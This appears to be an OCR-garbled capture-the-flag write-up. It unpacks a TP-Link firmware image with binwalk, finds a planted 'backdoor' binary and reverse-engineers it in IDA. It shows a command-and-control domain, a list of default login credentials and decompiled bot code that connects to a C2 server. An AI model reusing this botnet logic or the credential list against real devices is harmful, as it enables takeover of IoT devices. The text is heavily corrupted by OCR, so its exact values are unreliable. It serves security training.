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(binwalk )

binwalk -e firmware.bin(#1%)

by@by-virtual-machine: ~

General Error: Cannot open file : [Errno 2] No such file or directory: 'firmware
.bin’

by@by-virtual-machine:~$ binwalk -e '/fhome/by/SME/firmware.bin'

DECIMAL HEXADECIMAL DESCRIPTION

TP-Link firmware header, firmware version: 1.-2043
3, image version: "", product ID: @x®, product version: 155254791, kernel load
address: @x@, kernel entry point: 0x80002000, kernel offset: 4063744, kernel le
ngth: 512, rootfs offset: 772784, rootfs length: 1048576, bootloader offset: 288
3584, bootloader length: @
69424 0x10F30 Certificate in DER format (x589 v3), header length
: 4, sequence length: 64
94080 Ox16F80 U-Boot version string, "U-Boot 1.1.4 (Aug 26 2813
- 09:07:51)"
94256 Ox17030 CRC32 polynomial table, big endian
131584 8x20200 TP-Link firmware header, firmware version: 0.0.3,
image version: "", product ID: 8x@, product version: 155254791, kernel load addr
ess: 0x0, kernel entry point: 8x80002000, kernel offset: 3932168, kernel length:
512, rootfs offset: 772784, rootfs length: 1048576, bootloader offset: 2883584,
bootloader length: @
132096 0x20400 LZMA compressed data, properties: @x5D, dictionary
size: 33554432 bytes, uncompressed size: 2203728 bytes

WARNING: Extractor.execute failed to run external extractor 'sasquatch -p 1 -le
-d '"%%squashfs-root%%' '%e'': [Errno 2] No such file or directory

WARNING: Extractor.execute failed to run external extractor 'sasquatch -p 1 -be
-d '%%squashfs-root%%' '%e'': [Errno 2] No such file or directory

1180160 0x1260200 Squashfs filesystem, little endian, version 4.8, c
ompression:lzma, size: 2774624 bytes, 519 inodes, blocksize: 131072 bytes, creat
ed: 2015-84-13 09:35:04
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by@by-virtual-machine: ~/ & &l /firmware/firmware-mod-kit-master
Trying ./srcfothers/squashfs-3.3-grml-1zma/squashfs3.3/squashfs-toolsfunsquashfs

Trying ./srcfothers/squashfs-3.4-cisco/unsquashfs...

Trying ./src/others/squashfs-3.4-nb4/unsquashfs...

Trying ./src/others/squashfs-3.4-nb4/unsquashfs-lzma...

Trying ./src/others/squashfs-4.2-officialfunsquashfs... Parallel unsquashfs: Usi
ng 2 processors

Trying ./srcfothers/squashfs-4.2/unsquashfs... Parallel unsquashfs: Using 2 proc
essors

Trying ./src/others/squashfs-4.08-1zmafunsquashfs-lzma... Parallel unsquashfs: Us
ing 2 processors
480 inodes (523 blocks) to write

] 454/523 B86%
created 341 files
created 39 directories
created 70 symlinks
created 0@ devices
created @ fifos
File system sucessfully extracted!
MKFS="./srcfothers/squashfs-4.0-1zma/mksquashfs-lzma"
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ipk_template squashfs-root src
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ind: : =53
by@by-v $ find -name "*backdoor”
. /tmp/backdoor
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C:\Users\BY\Desktop\backdoor
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EntryPoin! | 0000b480
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['s’ LOAL:UVUUBA... DUUDUUUE getdtablesize

[=] LOAD:00008A... 00000007 stremp

=] LOAD:00008A... 00000012 __libc_start_main
] LOAD:00008A... 00000006 write

=] LOAD:00008A... 00000006 ntohl

[=] LOAD:00008A... 0000000A GLIBC 2.4
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éecho.byethostS'l .com

.rodata:00011... 00000014

OO OO0 OO OO0 0O 0.

E -rodata:00011... 00000006 admin
|E| -rodata:00011... 00000006 login
o |E| .rodata:00011... 00000006 guest
8 [57 rodata:00011... 00000009 changeme
—[57 rodata:00011... 00000006 12345
‘s’ .rodata:00011... 00000007 123456
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setsid();—
chdir("/™);
for ( 1 = signal(13, (__sighandler_t)1); ; 1 = (__sighandler_
{
while ( initConnection(i) )
{
puts("Failed to connect...");
i = (__sighandler_t)sleep(5u);
}

v9 = mainCommSock;
v1le = (const char *)getBuild();
sockprintf(v9, "BUILD %s", vie);

nno0n09044 main:= 64 (11044)

e FinitConnectionk %1, #HA
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3 char *vo; // re

4| char s[512]; // [sp+4h] [bp-288h] BYREF
5| int v3; // [sp+204h] [bp-8h]

6

7| memset(s, @, sizeof(s));

8| if ( mainCommSock )

9 |

0 close(mainCommSock) ;

A mainCommSock = ©;

20}

3| if ( currentServer )

gt ++currentServer;

5| else

.6 currentServer = 9;

7| strcpy(s, (&commServer)[currentServer]);
8| v3 = 36667;

9| if ( strchr(s, 58) )

el |

11 ve = strchr(s, 58);

12 v3 = atoi(ve + 1);

13 *strchr(s, 58) = @;

40}

5| mainCommSock = socket(2, 1, @);

6| return connectTimeout(mainCommSock, s, v3, 30) == @;
7}

5331|355 11136667
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5.get flag
flag{33a422c45d551ac6e4756f59812a954b}
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